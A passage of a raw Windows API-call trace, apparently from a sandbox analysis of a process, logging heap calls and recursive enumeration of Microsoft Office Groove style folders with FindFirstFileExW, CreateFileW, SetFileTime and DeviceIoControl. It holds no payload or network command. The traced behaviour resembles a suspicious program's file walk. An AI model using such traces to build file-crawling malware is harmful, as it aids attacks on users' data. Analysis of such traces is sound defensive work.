RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.863] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac28d0 [0078.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ce170 [0078.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x47c0) returned 0x11dc790 [0078.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.865] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac28f0 [0078.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ce278 [0078.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.865] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.865] GetLastError () returned 0x12 [0078.865] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9140 [0078.866] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.866] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.866] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0078.866] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.866] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.866] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.866] GetLastError () returned 0x12 [0078.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c77e0) returned 1 [0078.866] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c76d8) returned 1 [0078.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.866] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen.css", cAlternateFileName="")) returned 1 [0078.866] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x736, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts.css", cAlternateFileName="")) returned 1 [0078.866] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STS2", cAlternateFileName="")) returned 1 [0078.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.866] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.868] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11c8048 [0078.868] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.868] NtClose (Handle=0x170) returned 0x0 [0078.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c76d8 [0078.869] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9140 [0078.869] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.869] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0078.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c77e0 [0078.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2910 [0078.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ce380 [0078.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.870] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="header.gif", cAlternateFileName="")) returned 1 [0078.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2930 [0078.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ce488 [0078.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.871] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_off.gif", cAlternateFileName="")) returned 1 [0078.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2950 [0078.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ce590 [0078.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.872] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_on.gif", cAlternateFileName="")) returned 1 [0078.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2970 [0078.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ce698 [0078.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.873] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_on.gif", cAlternateFileName="")) returned 0 [0078.873] GetLastError () returned 0x12 [0078.873] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.873] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.873] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.873] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0078.873] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="header.gif", cAlternateFileName="")) returned 1 [0078.873] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_off.gif", cAlternateFileName="")) returned 1 [0078.873] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_on.gif", cAlternateFileName="")) returned 1 [0078.873] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_on.gif", cAlternateFileName="")) returned 0 [0078.873] GetLastError () returned 0x12 [0078.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c76d8) returned 1 [0078.873] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c77e0) returned 1 [0078.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.873] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts2.css", cAlternateFileName="")) returned 1 [0078.873] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5291c2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl", cAlternateFileName="")) returned 1 [0078.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.874] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5291c2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0078.874] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11c8048 [0078.874] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.874] NtClose (Handle=0x180) returned 0x0 [0078.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c77e0 [0078.875] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.875] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5291c2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, 